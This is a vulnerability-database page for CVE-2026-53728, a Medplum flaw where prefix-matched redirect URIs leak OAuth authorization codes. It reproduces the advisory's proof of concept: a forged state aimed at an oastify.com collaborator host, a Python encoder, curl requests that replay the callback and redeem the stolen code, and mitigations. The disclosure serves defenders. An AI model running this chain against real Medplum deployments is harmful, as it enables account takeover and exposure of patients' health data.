CVE-2026-53728

HIGHPre-NVD 7.17.1
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.1EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 7.1Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage

Summary

The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.

Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.

Technical Explanation

The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.

In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:

  • getClientRedirectUri(client, body.redirectUri, true)

The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:

  • requestedUri.startsWith(uri)

As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().

Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.

A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:

  • Registered: http://callback.audit.local
  • Malicious: http://callback.audit.local.oastify.com/cb

The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.

Steps to Reproduce

Preconditions

  • The target ClientApplication has an identityProvider configured.
  • The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
  • Registered redirect URI: http://callback.audit.local
  • The attacker controls a collaborator endpoint such as:
  • https:///cb
  • The attacker uses a forged state.redirectUri that starts with the registered value, for example:
  • http://callback.audit.local.oastify.com/cb
  • or a collaborator domain that matches your local proof setup

Example forged state

{"clientId":"","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}

URL-encode the forged state

python3 - <<'PY'
import json, urllib.parse
state = {
  "clientId": "",
  "redirectUri": "http://callback.audit.local.oastify.com/cb",
  "codeChallenge": "attack-verifier-123",
  "codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY

Replay the external callback with cURL Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly: curl -i 'http://api.audit.local:8103/auth/external?code=&state=

Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:

HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=&code=

Collaborator proof If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.

Optional impact validation If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:

curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=authorization_code&code=&code_verifier=attack-verifier-123'

Impact

The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.

  • Full Account Takeover (ATO):
An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.
  • Bypassing Modern OAuth Protections:
This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.
  • Cross-Origin Data Leakage:
The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.
  • Access to Sensitive Healthcare Data (PHI):
Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.
  • Victim Trust Exploitation:
The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.

Mitigation

  • Require exact string equality for redirect URIs.
  • Bind external auth state to a server-side session or use a HMAC/Signature.
  • Reject prefixable or ambiguous redirect URI shapes during registration.

CVSS v3
7.1
EG Score
7.1(low)
EG Risk
36(Track)
EG Risk 36/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity71% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

August 17, 2026

Last Modified

August 17, 2026

Vendor Advisories for CVE-2026-53728(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-08-17 13:37 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-53728?
CVE-2026-53728 is a high vulnerability published on August 17, 2026. Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage Summary The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than…
When was CVE-2026-53728 disclosed?
CVE-2026-53728 was first published in the National Vulnerability Database on August 17, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-53728?
CVE-2026-53728 has a CVSS v4.0 base score of 7.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-53728?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-53728, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-53728

Explore →

Is Your Infrastructure Affected by CVE-2026-53728?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.